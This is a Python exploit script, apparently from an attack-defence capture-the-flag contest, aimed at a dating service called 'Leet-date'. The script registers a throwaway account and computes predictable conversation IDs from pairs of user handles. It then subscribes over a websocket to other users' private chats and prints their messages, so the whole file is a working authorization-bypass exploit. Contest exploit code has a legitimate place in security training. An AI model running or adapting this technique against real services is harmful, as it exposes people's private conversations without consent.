#!/usr/bin/env python3

from exploitfarm import *
from exploitfarm import session as Session

import hashlib
import json
import requests
import secrets
import websocket

host = get_host()
URL = f"http://{host}:6789"
WS = f"ws://{host}:6789/api/ws"
SERVICE = "Leet-date"
ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"

def random_string():
    return "".join(secrets.choice(ALPHABET) for _ in range(16))

def conversation_id(first_handle, second_handle):
    first_handle, second_handle = sorted([first_handle, second_handle])
    material = first_handle + "\0" + second_handle + "\0leetdate-convo-v1"
    return hashlib.sha256(material.encode()).digest()[:16].hex()

def get_flag_ids():
    ticks = requests.get("https://10.enowars.com/scoreboard/attack.json").json().get("services")[SERVICE].get(host, {})
    return [flag_id for tick in ticks for slot in ticks[tick] for flag_id in ticks[tick][slot]]

def run(flag_ids):
    conversation_ids = set()
    for flag_id in flag_ids:
        flag_handle = json.loads(flag_id)["handle"]
        response = session.get(f"{URL}/api/users/{flag_handle}/matches")
        if response.status_code != 200:
            continue
        for match in response.json()["matches"]:
            conversation_ids.add(conversation_id(flag_handle, match["handle"]))
    if not conversation_ids:
        return

    connection = websocket.create_connection(WS, cookie=f"ld_session={session.cookies.get('ld_session')}", origin=URL, timeout=1)
    connection.recv()
    for conversation in conversation_ids:
        connection.send(json.dumps({"type": "subscribe", "conversation_id": conversation}))

    seen = set()
    while True:
        try:
            message = json.loads(connection.recv())
            if message.get("type") == "message":
                body = message["message"]["body"]
                if body not in seen:
                    seen.add(body)
                    print(body)
        except Exception:
            break
    connection.close()

flag_ids = get_flag_ids()
if flag_ids:
    session = Session()
    attacker_handle = random_string()
    session.post(f"{URL}/api/register", json={"handle": attacker_handle, "display_name": attacker_handle, "password": random_string()})
    run(flag_ids)
